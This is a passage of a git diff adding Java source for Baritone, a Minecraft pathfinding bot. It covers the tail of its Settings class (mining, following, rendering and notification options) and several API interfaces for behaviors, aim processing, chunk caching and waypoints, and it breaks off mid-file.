+ * Thanks Louca + */ + public final Setting mineDropLoiterDurationMSThanksLouca = new Setting<>(250L); + + /** + * Trim incorrect positions too far away, helps performance but hurts reliability in very large schematics + */ + public final Setting distanceTrim = new Setting<>(true); + + /** + * Cancel the current path if the goal has changed, and the path originally ended in the goal but doesn't anymore. + *

+ * Currently only runs when either MineBehavior or FollowBehavior is active. + *

+ * For example, if Baritone is doing "mine iron_ore", the instant it breaks the ore (and it becomes air), that location + * is no longer a goal. This means that if this setting is true, it will stop there. If this setting were off, it would + * continue with its path, and walk into that location. The tradeoff is if this setting is true, it mines ores much faster + * since it doesn't waste any time getting into locations that no longer contain ores, but on the other hand, it misses + * some drops, and continues on without ever picking them up. + *

+ * Also on cosmic prisons this should be set to true since you don't actually mine the ore it just gets replaced with stone. + */ + public final Setting cancelOnGoalInvalidation = new Setting<>(true); + + /** + * The "axis" command (aka GoalAxis) will go to a axis, or diagonal axis, at this Y level. + */ + public final Setting axisHeight = new Setting<>(120); + + /** + * Disconnect from the server upon arriving at your goal + */ + public final Setting disconnectOnArrival = new Setting<>(false); + + /** + * Disallow MineBehavior from using X-Ray to see where the ores are. Turn this option on to force it to mine "legit" + * where it will only mine an ore once it can actually see it, so it won't do or know anything that a normal player + * couldn't. If you don't want it to look like you're X-Raying, turn this on + * This will always explore, regardless of exploreForBlocks + */ + public final Setting legitMine = new Setting<>(false); + + /** + * What Y level to go to for legit strip mining + */ + public final Setting legitMineYLevel = new Setting<>(11); + + /** + * Magically see ores that are separated diagonally from existing ores. Basically like mining around the ores that it finds + * in case there's one there touching it diagonally, except it checks it un-legit-ly without having the mine blocks to see it. + * You can decide whether this looks plausible or not. + *

+ * This is disabled because it results in some weird behavior. For example, it can """see""" the top block of a vein of iron_ore + * through a lava lake. This isn't an issue normally since it won't consider anything touching lava, so it just ignores it. + * However, this setting expands that and allows it to see the entire vein so it'll mine under the lava lake to get the iron that + * it can reach without mining blocks adjacent to lava. This really defeats the purpose of legitMine since a player could never + * do that lol, so thats one reason why its disabled + */ + public final Setting legitMineIncludeDiagonals = new Setting<>(false); + + /** + * When mining block of a certain type, try to mine two at once instead of one. + * If the block above is also a goal block, set GoalBlock instead of GoalTwoBlocks + * If the block below is also a goal block, set GoalBlock to the position one down instead of GoalTwoBlocks + */ + public final Setting forceInternalMining = new Setting<>(true); + + /** + * Modification to the previous setting, only has effect if forceInternalMining is true + * If true, only apply the previous setting if the block adjacent to the goal isn't air. + */ + public final Setting internalMiningAirException = new Setting<>(true); + + /** + * The actual GoalNear is set this distance away from the entity you're following + *

+ * For example, set followOffsetDistance to 5 and followRadius to 0 to always stay precisely 5 blocks north of your follow target. + */ + public final Setting followOffsetDistance = new Setting<>(0D); + + /** + * The actual GoalNear is set in this direction from the entity you're following. This value is in degrees. + */ + public final Setting followOffsetDirection = new Setting<>(0F); + + /** + * The radius (for the GoalNear) of how close to your target position you actually have to be + */ + public final Setting followRadius = new Setting<>(3); + + /** + * Turn this on if your exploration filter is enormous, you don't want it to check if it's done, + * and you are just fine with it just hanging on completion + */ + public final Setting disableCompletionCheck = new Setting<>(false); + + /** + * Cached chunks (regardless of if they're in RAM or saved to disk) expire and are deleted after this number of seconds + * -1 to disable + *

+ * I would highly suggest leaving this setting disabled (-1). + *

+ * The only valid reason I can think of enable this setting is if you are extremely low on disk space and you play on multiplayer, + * and can't take (average) 300kb saved for every 512x512 area. (note that more complicated terrain is less compressible and will take more space) + *

+ * However, simply discarding old chunks because they are old is inadvisable. Baritone is extremely good at correcting + * itself and its paths as it learns new information, as new chunks load. There is no scenario in which having an + * incorrect cache can cause Baritone to get stuck, take damage, or perform any action it wouldn't otherwise, everything + * is rechecked once the real chunk is in range. + *

+ * Having a robust cache greatly improves long distance pathfinding, as it's able to go around large scale obstacles + * before they're in render distance. In fact, when the chunkCaching setting is disabled and Baritone starts anew + * every time, or when you enter a completely new and very complicated area, it backtracks far more often because it + * has to build up that cache from scratch. But after it's gone through an area just once, the next time will have zero + * backtracking, since the entire area is now known and cached. + */ + public final Setting cachedChunksExpirySeconds = new Setting<>(-1L); + + /** + * The function that is called when Baritone will log to chat. This function can be added to + * via {@link Consumer#andThen(Consumer)} or it can completely be overriden via setting + * {@link Setting#value}; + */ + @JavaOnly + public final Setting> logger = new Setting<>(msg -> Minecraft.getInstance().ingameGUI.getChatGUI().printChatMessage(msg)); + + /** + * The function that is called when Baritone will send a desktop notification. This function can be added to + * via {@link Consumer#andThen(Consumer)} or it can completely be overriden via setting + * {@link Setting#value}; + */ + @JavaOnly + public final Setting> notifier = new Setting<>(NotificationHelper::notify); + + /** + * The function that is called when Baritone will show a toast. This function can be added to + * via {@link Consumer#andThen(Consumer)} or it can completely be overriden via setting + * {@link Setting#value}; + */ + @JavaOnly + public final Setting> toaster = new Setting<>(BaritoneToast::addOrUpdate); + + /** + * Print out ALL command exceptions as a stack trace to stdout, even simple syntax errors + */ + public final Setting verboseCommandExceptions = new Setting<>(false); + + /** + * The size of the box that is rendered when the current goal is a GoalYLevel + */ + public final Setting yLevelBoxSize = new Setting<>(15D); + + /** + * The color of the current path + */ + public final Setting colorCurrentPath = new Setting<>(Color.RED); + + /** + * The color of the next path + */ + public final Setting colorNextPath = new Setting<>(Color.MAGENTA); + + /** + * The color of the blocks to break + */ + public final Setting colorBlocksToBreak = new Setting<>(Color.RED); + + /** + * The color of the blocks to place + */ + public final Setting colorBlocksToPlace = new Setting<>(Color.GREEN); + + /** + * The color of the blocks to walk into + */ + public final Setting colorBlocksToWalkInto = new Setting<>(Color.MAGENTA); + + /** + * The color of the best path so far + */ + public final Setting colorBestPathSoFar = new Setting<>(Color.BLUE); + + /** + * The color of the path to the most recent considered node + */ + public final Setting colorMostRecentConsidered = new Setting<>(Color.CYAN); + + /** + * The color of the goal box + */ + public final Setting colorGoalBox = new Setting<>(Color.GREEN); + + /** + * The color of the goal box when it's inverted + */ + public final Setting colorInvertedGoalBox = new Setting<>(Color.RED); + + /** + * The color of all selections + */ + public final Setting colorSelection = new Setting<>(Color.CYAN); + + /** + * The color of the selection pos 1 + */ + public final Setting colorSelectionPos1 = new Setting<>(Color.BLACK); + + /** + * The color of the selection pos 2 + */ + public final Setting colorSelectionPos2 = new Setting<>(Color.ORANGE); + + /** + * The opacity of the selection. 0 is completely transparent, 1 is completely opaque + */ + public final Setting selectionOpacity = new Setting<>(.5f); + + /** + * Line width of the goal when rendered, in pixels + */ + public final Setting selectionLineWidth = new Setting<>(2F); + + /** + * Render selections + */ + public final Setting renderSelection = new Setting<>(true); + + /** + * Ignore depth when rendering selections + */ + public final Setting renderSelectionIgnoreDepth = new Setting<>(true); + + /** + * Render selection corners + */ + public final Setting renderSelectionCorners = new Setting<>(true); + + /** + * Use sword to mine. + */ + public final Setting useSwordToMine = new Setting<>(true); + + /** + * Desktop notifications + */ + public final Setting desktopNotifications = new Setting<>(false); + + /** + * Desktop notification on path complete + */ + public final Setting notificationOnPathComplete = new Setting<>(true); + + /** + * Desktop notification on farm fail + */ + public final Setting notificationOnFarmFail = new Setting<>(true); + + /** + * Desktop notification on build finished + */ + public final Setting notificationOnBuildFinished = new Setting<>(true); + + /** + * Desktop notification on explore finished + */ + public final Setting notificationOnExploreFinished = new Setting<>(true); + + /** + * Desktop notification on mine fail + */ + public final Setting notificationOnMineFail = new Setting<>(true); + + /** + * A map of lowercase setting field names to their respective setting + */ + public final Map> byLowerName; + + /** + * A list of all settings + */ + public final List> allSettings; + + public final Map, Type> settingTypes; + + public final class Setting { + + public T value; + public final T defaultValue; + private String name; + private boolean javaOnly; + + @SuppressWarnings("unchecked") + private Setting(T value) { + if (value == null) { + throw new IllegalArgumentException("Cannot determine value type class from null"); + } + this.value = value; + this.defaultValue = value; + this.javaOnly = false; + } + + /** + * Deprecated! Please use .value directly instead + * + * @return the current setting value + */ + @Deprecated + public final T get() { + return value; + } + + public final String getName() { + return name; + } + + public Class getValueClass() { + // noinspection unchecked + return (Class) TypeUtils.resolveBaseClass(getType()); + } + + @Override + public String toString() { + return SettingsUtil.settingToString(this); + } + + /** + * Reset this setting to its default value + */ + public void reset() { + value = defaultValue; + } + + public final Type getType() { + return settingTypes.get(this); + } + + /** + * This should always be the same as whether the setting can be parsed from or serialized to a string; in other + * words, the only way to modify it is by writing to {@link #value} programatically. + * + * @return {@code true} if the setting can not be set or read by the user + */ + public boolean isJavaOnly() { + return javaOnly; + } + } + + /** + * Marks a {@link Setting} field as being {@link Setting#isJavaOnly() Java-only} + */ + @Retention(RetentionPolicy.RUNTIME) + @Target(ElementType.FIELD) + private @interface JavaOnly {} + + // here be dragons + + Settings() { + Field[] temp = getClass().getFields(); + + Map> tmpByName = new HashMap<>(); + List> tmpAll = new ArrayList<>(); + Map, Type> tmpSettingTypes = new HashMap<>(); + + try { + for (Field field : temp) { + if (field.getType().equals(Setting.class)) { + Setting setting = (Setting) field.get(this); + String name = field.getName(); + setting.name = name; + setting.javaOnly = field.isAnnotationPresent(JavaOnly.class); + name = name.toLowerCase(); + if (tmpByName.containsKey(name)) { + throw new IllegalStateException("Duplicate setting name"); + } + tmpByName.put(name, setting); + tmpAll.add(setting); + tmpSettingTypes.put(setting, ((ParameterizedType) field.getGenericType()).getActualTypeArguments()[0]); + } + } + } catch (IllegalAccessException e) { + throw new IllegalStateException(e); + } + byLowerName = Collections.unmodifiableMap(tmpByName); + allSettings = Collections.unmodifiableList(tmpAll); + settingTypes = Collections.unmodifiableMap(tmpSettingTypes); + } + + @SuppressWarnings("unchecked") + public List> getAllValuesByType(Class cla$$) { + List> result = new ArrayList<>(); + for (Setting setting : allSettings) { + if (setting.getValueClass().equals(cla$$)) { + result.add((Setting) setting); + } + } + return result; + } +} diff --git a/src/baritone/api/behavior/IBehavior.java b/src/baritone/api/behavior/IBehavior.java new file mode 100644 index 00000000..811563b9 --- /dev/null +++ b/src/baritone/api/behavior/IBehavior.java @@ -0,0 +1,30 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.behavior; + +import baritone.api.event.listener.AbstractGameEventListener; +import baritone.api.event.listener.IGameEventListener; + +/** + * A behavior is simply a type that is able to listen to events. + * + * @author Brady + * @see IGameEventListener + * @since 9/23/2018 + */ +public interface IBehavior extends AbstractGameEventListener {} diff --git a/src/baritone/api/behavior/ILookBehavior.java b/src/baritone/api/behavior/ILookBehavior.java new file mode 100644 index 00000000..d78e7f8b --- /dev/null +++ b/src/baritone/api/behavior/ILookBehavior.java @@ -0,0 +1,50 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.behavior; + +import baritone.api.Settings; +import baritone.api.behavior.look.IAimProcessor; +import baritone.api.utils.Rotation; + +/** + * @author Brady + * @since 9/23/2018 + */ +public interface ILookBehavior extends IBehavior { + + /** + * Updates the current {@link ILookBehavior} target to target the specified rotations on the next tick. If any sort + * of block interaction is required, {@code blockInteract} should be {@code true}. It is not guaranteed that the + * rotations set by the caller will be the exact rotations expressed by the client (This is due to settings like + * {@link Settings#randomLooking}). If the rotations produced by this behavior are required, then the + * {@link #getAimProcessor() aim processor} should be used. + * + * @param rotation The target rotations + * @param blockInteract Whether the target rotations are needed for a block interaction + */ + void updateTarget(Rotation rotation, boolean blockInteract); + + /** + * The aim processor instance for this {@link ILookBehavior}, which is responsible for applying additional, + * deterministic transformations to the target rotation set by {@link #updateTarget}. + * + * @return The aim processor + * @see IAimProcessor#fork + */ + IAimProcessor getAimProcessor(); +} diff --git a/src/baritone/api/behavior/IPathingBehavior.java b/src/baritone/api/behavior/IPathingBehavior.java new file mode 100644 index 00000000..83db7ab3 --- /dev/null +++ b/src/baritone/api/behavior/IPathingBehavior.java @@ -0,0 +1,132 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.behavior; + +import baritone.api.pathing.calc.IPath; +import baritone.api.pathing.calc.IPathFinder; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.path.IPathExecutor; + +import java.util.Optional; + +/** + * @author Brady + * @since 9/23/2018 + */ +public interface IPathingBehavior extends IBehavior { + + /** + * Returns the estimated remaining ticks in the current pathing + * segment. Given that the return type is an optional, {@link Optional#empty()} + * will be returned in the case that there is no current segment being pathed. + * + * @return The estimated remaining ticks in the current segment. + */ + default Optional ticksRemainingInSegment() { + return ticksRemainingInSegment(true); + } + + /** + * Returns the estimated remaining ticks in the current pathing + * segment. Given that the return type is an optional, {@link Optional#empty()} + * will be returned in the case that there is no current segment being pathed. + * + * @param includeCurrentMovement whether or not to include the entirety of the cost of the currently executing movement in the total + * @return The estimated remaining ticks in the current segment. + */ + default Optional ticksRemainingInSegment(boolean includeCurrentMovement) { + IPathExecutor current = getCurrent(); + if (current == null) { + return Optional.empty(); + } + int start = includeCurrentMovement ? current.getPosition() : current.getPosition() + 1; + return Optional.of(current.getPath().ticksRemainingFrom(start)); + } + + /** + * Returns the estimated remaining ticks to the current goal. + * Given that the return type is an optional, {@link Optional#empty()} + * will be returned in the case that there is no current goal. + * + * @return The estimated remaining ticks to the current goal. + */ + Optional estimatedTicksToGoal(); + + /** + * @return The current pathing goal + */ + Goal getGoal(); + + /** + * @return Whether or not a path is currently being executed. This will be false if there's currently a pause. + * @see #hasPath() + */ + boolean isPathing(); + + /** + * @return If there is a current path. Note that the path is not necessarily being executed, for example when there + * is a pause in effect. + * @see #isPathing() + */ + default boolean hasPath() { + return getCurrent() != null; + } + + /** + * Cancels the pathing behavior or the current path calculation, and all processes that could be controlling path. + *

+ * Basically, "MAKE IT STOP". + * + * @return Whether or not the pathing behavior was canceled. All processes are guaranteed to be canceled, but the + * PathingBehavior might be in the middle of an uncancelable action like a parkour jump + */ + boolean cancelEverything(); + + /** + * PLEASE never call this + *

+ * If cancelEverything was like "kill" this is "sudo kill -9". Or shutting off your computer. + */ + void forceCancel(); + + /** + * Returns the current path, from the current path executor, if there is one. + * + * @return The current path + */ + default Optional getPath() { + return Optional.ofNullable(getCurrent()).map(IPathExecutor::getPath); + } + + /** + * @return The current path finder being executed + */ + Optional getInProgress(); + + /** + * @return The current path executor + */ + IPathExecutor getCurrent(); + + /** + * Returns the next path executor, created when planning ahead. + * + * @return The next path executor + */ + IPathExecutor getNext(); +} diff --git a/src/baritone/api/behavior/look/IAimProcessor.java b/src/baritone/api/behavior/look/IAimProcessor.java new file mode 100644 index 00000000..c7c60f41 --- /dev/null +++ b/src/baritone/api/behavior/look/IAimProcessor.java @@ -0,0 +1,45 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.behavior.look; + +import baritone.api.utils.Rotation; + +/** + * @author Brady + */ +public interface IAimProcessor { + + /** + * Returns the actual rotation that will be used when the desired rotation is requested. The returned rotation + * always reflects what would happen in the upcoming tick. In other words, it is a pure function, and no internal + * state changes. If simulation of the rotation states beyond the next tick is required, then a + * {@link IAimProcessor#fork fork} should be created. + * + * @param desired The desired rotation to set + * @return The actual rotation + */ + Rotation peekRotation(Rotation desired); + + /** + * Returns a copy of this {@link IAimProcessor} which has its own internal state and is manually tickable. + * + * @return The forked processor + * @see ITickableAimProcessor + */ + ITickableAimProcessor fork(); +} diff --git a/src/baritone/api/behavior/look/ITickableAimProcessor.java b/src/baritone/api/behavior/look/ITickableAimProcessor.java new file mode 100644 index 00000000..e0a07ae5 --- /dev/null +++ b/src/baritone/api/behavior/look/ITickableAimProcessor.java @@ -0,0 +1,47 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.behavior.look; + +import baritone.api.utils.Rotation; + +/** + * @author Brady + */ +public interface ITickableAimProcessor extends IAimProcessor { + + /** + * Advances the internal state of this aim processor by a single tick. + */ + void tick(); + + /** + * Calls {@link #tick()} the specified number of times. + * + * @param ticks The number of calls + */ + void advance(int ticks); + + /** + * Returns the actual rotation as provided by {@link #peekRotation(Rotation)}, and then automatically advances the + * internal state by one {@link #tick() tick}. + * + * @param rotation The desired rotation to set + * @return The actual rotation + */ + Rotation nextRotation(Rotation rotation); +} diff --git a/src/baritone/api/cache/IBlockTypeAccess.java b/src/baritone/api/cache/IBlockTypeAccess.java new file mode 100644 index 00000000..8225add1 --- /dev/null +++ b/src/baritone/api/cache/IBlockTypeAccess.java @@ -0,0 +1,34 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.cache; + +import net.minecraft.block.BlockState; +import net.minecraft.util.math.BlockPos; + +/** + * @author Brady + * @since 8/4/2018 + */ +public interface IBlockTypeAccess { + + BlockState getBlock(int x, int y, int z); + + default BlockState getBlock(BlockPos pos) { + return getBlock(pos.getX(), pos.getY(), pos.getZ()); + } +} diff --git a/src/baritone/api/cache/ICachedRegion.java b/src/baritone/api/cache/ICachedRegion.java new file mode 100644 index 00000000..cf63f54b --- /dev/null +++ b/src/baritone/api/cache/ICachedRegion.java @@ -0,0 +1,48 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.cache; + +/** + * @author Brady + * @since 9/24/2018 + */ +public interface ICachedRegion extends IBlockTypeAccess { + + /** + * Returns whether or not the block at the specified X and Z coordinates + * is cached in this world. Similar to {@link ICachedWorld#isCached(int, int)}, + * however, the block coordinates should in on a scale from 0 to 511 (inclusive) + * because region sizes are 512x512 blocks. + * + * @param blockX The block X coordinate + * @param blockZ The block Z coordinate + * @return Whether or not the specified XZ location is cached + * @see ICachedWorld#isCached(int, int) + */ + boolean isCached(int blockX, int blockZ); + + /** + * @return The X coordinate of this region + */ + int getX(); + + /** + * @return The Z coordinate of this region + */ + int getZ(); +} diff --git a/src/baritone/api/cache/ICachedWorld.java b/src/baritone/api/cache/ICachedWorld.java new file mode 100644 index 00000000..e681ce51 --- /dev/null +++ b/src/baritone/api/cache/ICachedWorld.java @@ -0,0 +1,84 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.cache; + +import net.minecraft.util.math.BlockPos; +import net.minecraft.world.chunk.Chunk; + +import java.util.ArrayList; + +/** + * @author Brady + * @since 9/24/2018 + */ +public interface ICachedWorld { + + /** + * Returns the region at the specified region coordinates + * + * @param regionX The region X coordinate + * @param regionZ The region Z coordinate + * @return The region located at the specified coordinates + */ + ICachedRegion getRegion(int regionX, int regionZ); + + /** + * Queues the specified chunk for packing. This entails reading the contents + * of the chunk, then packing the data into the 2-bit format, and storing that + * in this cached world. + * + * @param chunk The chunk to pack and store + */ + void queueForPacking(Chunk chunk); + + /** + * Returns whether or not the block at the specified X and Z coordinates + * is cached in this world. + * + * @param blockX The block X coordinate + * @param blockZ The block Z coordinate + * @return Whether or not the specified XZ location is cached + */ + boolean isCached(int blockX, int blockZ); + + /** + * Scans the cached chunks for location of the specified special block. The + * information that is returned by this method may not be up to date, because + * older cached chunks can contain data that is much more likely to have changed. + * + * @param block The special block to search for + * @param maximum The maximum number of position results to receive + * @param centerX The x block coordinate center of the search + * @param centerZ The z block coordinate center of the search + * @param maxRegionDistanceSq The maximum region distance, squared + * @return The locations found that match the special block + */ + ArrayList getLocationsOf(String block, int maximum, int centerX, int centerZ, int maxRegionDistanceSq); + + /** + * Reloads all of the cached regions in this world from disk. Anything that is not saved + * will be lost. This operation does not execute in a new thread by default. + */ + void reloadAllFromDisk(); + + /** + * Saves all of the cached regions in this world to disk. This operation does not execute + * in a new thread by default. + */ + void save(); +} diff --git a/src/baritone/api/cache/IWaypoint.java b/src/baritone/api/cache/IWaypoint.java new file mode 100644 index 00000000..ff235099 --- /dev/null +++ b/src/baritone/api/cache/IWaypoint.java @@ -0,0 +1,136 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.cache; + +import baritone.api.utils.BetterBlockPos; + +import java.util.*; + +/** + * A marker for a position in the world. + * + * @author Brady + * @since 9/24/2018 + */ +public interface IWaypoint { + + /** + * @return The label for this waypoint + */ + String getName(); + + /** + * Returns the tag for this waypoint. The tag is a category + * for the waypoint in a sense, it describes the source of + * the waypoint. + * + * @return The waypoint tag + */ + Tag getTag(); + + /** + * Returns the unix epoch time in milliseconds that this waypoint + * was created. This value should only be set once, when the waypoint + * is initially created, and not when it is being loaded from file. + * + * @return The unix epoch milliseconds that this waypoint was created + */ + long getCreationTimestamp(); + + /** + * Returns the actual block position of this waypoint. + * + * @return The block position of this waypoint + */ + BetterBlockPos getLocation(); + + enum Tag { + + /** + * Tag indicating a position explictly marked as a home base + */ + HOME("home", "base"), + + /** + * Tag indicating a position that the local player has died at + */ + DEATH("death"), + + /** + * Tag indicating a bed position + */ + BED("bed", "spawn"), + + /** + * Tag indicating that the waypoint was user-created + */ + USER("user"); + + /** + * A list of all of the + */ + private static final List TAG_LIST = Collections.unmodifiableList(Arrays.asList(Tag.values())); + + /** + * The names for the tag, anything that the tag can be referred to as. + */ + public final String[] names; + + Tag(String... names) { + this.names = names; + } + + /** + * @return A name that can be passed to {@link #getByName(String)} to retrieve this tag + */ + public String getName() { + return names[0]; + } + + /** + * Gets a tag by one of its names. + * + * @param name The name to search for. + * @return The tag, if found, or null. + */ + public static Tag getByName(String name) { + for (Tag action : Tag.values()) { + for (String alias : action.names) { + if (alias.equalsIgnoreCase(name)) { + return action; + } + } + } + + return null; + } + + /** + * @return All tag names. + */ + public static String[] getAllNames() { + Set names = new HashSet<>(); + + for (Tag tag : Tag.values()) { + names.addAll(Arrays.asList(tag.names)); + } + + return names.toArray(new String[0]); + } + } +} diff --git a/src/baritone/api/cache/IWaypointCollection.java b/src/baritone/api/cache/IWaypointCollection.java new file mode 100644 index 00000000..4dd80a3e --- /dev/null +++ b/src/baritone/api/cache/IWaypointCollection.java @@ -0,0 +1,66 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.cache; + +import java.util.Set; + +/** + * @author Brady + * @since 9/24/2018 + */ +public interface IWaypointCollection { + + /** + * Adds a waypoint to this collection + * + * @param waypoint The waypoint + */ + void addWaypoint(IWaypoint waypoint); + + /** + * Removes a waypoint from this collection + * + * @param waypoint The waypoint + */ + void removeWaypoint(IWaypoint waypoint); + + /** + * Gets the most recently created waypoint by the specified {@link IWaypoint.Tag} + * + * @param tag The tag + * @return The most recently created waypoint with the specified tag + */ + IWaypoint getMostRecentByTag(IWaypoint.Tag tag); + + /** + * Gets all of the waypoints that have the specified tag + * + * @param tag The tag + * @return All of the waypoints with the specified tag + * @see IWaypointCollection#getAllWaypoints() + */ + Set getByTag(IWaypoint.Tag tag); + + /** + * Gets all of the waypoints in this collection, regardless of the tag. + * + * @return All of the waypoints in this collection + * @see IWaypointCollection#getByTag(IWaypoint.Tag) + */ + Set getAllWaypoints(); +} diff --git a/src/baritone/api/cache/IWorldData.java b/src/baritone/api/cache/IWorldData.java new file mode 100644 index 00000000..20077193 --- /dev/null +++ b/src/baritone/api/cache/IWorldData.java @@ -0,0 +1,40 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.cache; + +/** + * @author Brady + * @since 9/24/2018 + */ +public interface IWorldData { + + /** + * Returns the cached world for this world. A cached world is a simplified format + * of a regular world, intended for use on multiplayer servers where chunks are not + * traditionally stored to disk, allowing for long distance pathing with minimal disk usage. + * + * @return The cached world for this world + */ + ICachedWorld getCachedWorld(); + + /** + * @return The waypoint collection for this world + */ + IWaypointCollection getWaypoints(); + +} diff --git a/src/baritone/api/cache/IWorldProvider.java b/src/baritone/api/cache/IWorldProvider.java new file mode 100644 index 00000000..b9ca149c --- /dev/null +++ b/src/baritone/api/cache/IWorldProvider.java @@ -0,0 +1,41 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.cache; + +import java.util.function.Consumer; + +/** + * @author Brady + * @since 9/24/2018 + */ +public interface IWorldProvider { + + /** + * Returns the data of the currently loaded world + * + * @return The current world data + */ + IWorldData getCurrentWorld(); + + default void ifWorldLoaded(Consumer callback) { + final IWorldData currentWorld = this.getCurrentWorld(); + if (currentWorld != null) { + callback.accept(currentWorld); + } + } +} diff --git a/src/baritone/api/cache/IWorldScanner.java b/src/baritone/api/cache/IWorldScanner.java new file mode 100644 index 00000000..bc306460 --- /dev/null +++ b/src/baritone/api/cache/IWorldScanner.java @@ -0,0 +1,96 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.cache; + +import 